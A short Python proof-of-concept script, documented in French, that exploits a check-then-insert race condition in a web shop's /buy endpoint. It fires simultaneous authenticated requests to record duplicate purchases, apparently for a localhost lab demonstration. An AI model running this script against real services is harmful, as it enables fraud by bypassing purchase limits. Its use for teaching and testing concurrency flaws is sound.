#!/usr/bin/env python3
"""
Race Condition (TOCTOU) — démonstration
========================================
Un utilisateur ne peut acheter un produit qu'une seule fois.
Le serveur vérifie PUIS insère avec un délai entre les deux.
Ce script envoie N requêtes simultanées pour exploiter cette fenêtre.

Usage :
    python3 race.py <base_url> <product_id> <session_cookie> [threads]

Exemple :
    python3 race.py http://localhost:8080 1 "session=eyJ..." 5

Résultat attendu (sans protection) :
    Plusieurs requêtes retournent "Purchase successful" → doublons en DB.
"""

import sys
import threading
import requests

def buy(url, product_id, cookies, results, idx):
    try:
        r = requests.post(
            f"{url}/buy/{product_id}",
            cookies=cookies,
            allow_redirects=True,
            timeout=10
        )
        if "Purchase successful" in r.text:
            results[idx] = "[+] SUCCESS — achat enregistré"
        elif "already own" in r.text.lower():
            results[idx] = "[-] BLOCKED — already owned"
        else:
            results[idx] = f"[?] status={r.status_code}"
    except Exception as e:
        results[idx] = f"[!] ERROR — {e}"

def main():
    if len(sys.argv) < 4:
        print(__doc__)
        sys.exit(1)

    base_url   = sys.argv[1].rstrip('/')
    product_id = sys.argv[2]
    session    = sys.argv[3]
    n_threads  = int(sys.argv[4]) if len(sys.argv) > 4 else 5

    cookies = {"session": session}
    results = [None] * n_threads
    threads = [
        threading.Thread(target=buy, args=(base_url, product_id, cookies, results, i))
        for i in range(n_threads)
    ]

    print(f"[*] Envoi de {n_threads} requêtes simultanées vers {base_url}/buy/{product_id}")
    for t in threads:
        t.start()
    for t in threads:
        t.join()

    print("\n--- Résultats ---")
    for i, r in enumerate(results):
        print(f"  Thread {i+1}: {r}")

    successes = sum(1 for r in results if r and "SUCCESS" in r)
    print(f"\n[!] {successes}/{n_threads} achats enregistrés — {'RACE CONDITION EXPLOITÉE' if successes > 1 else 'non exploitée'}")

if __name__ == "__main__":
    main()
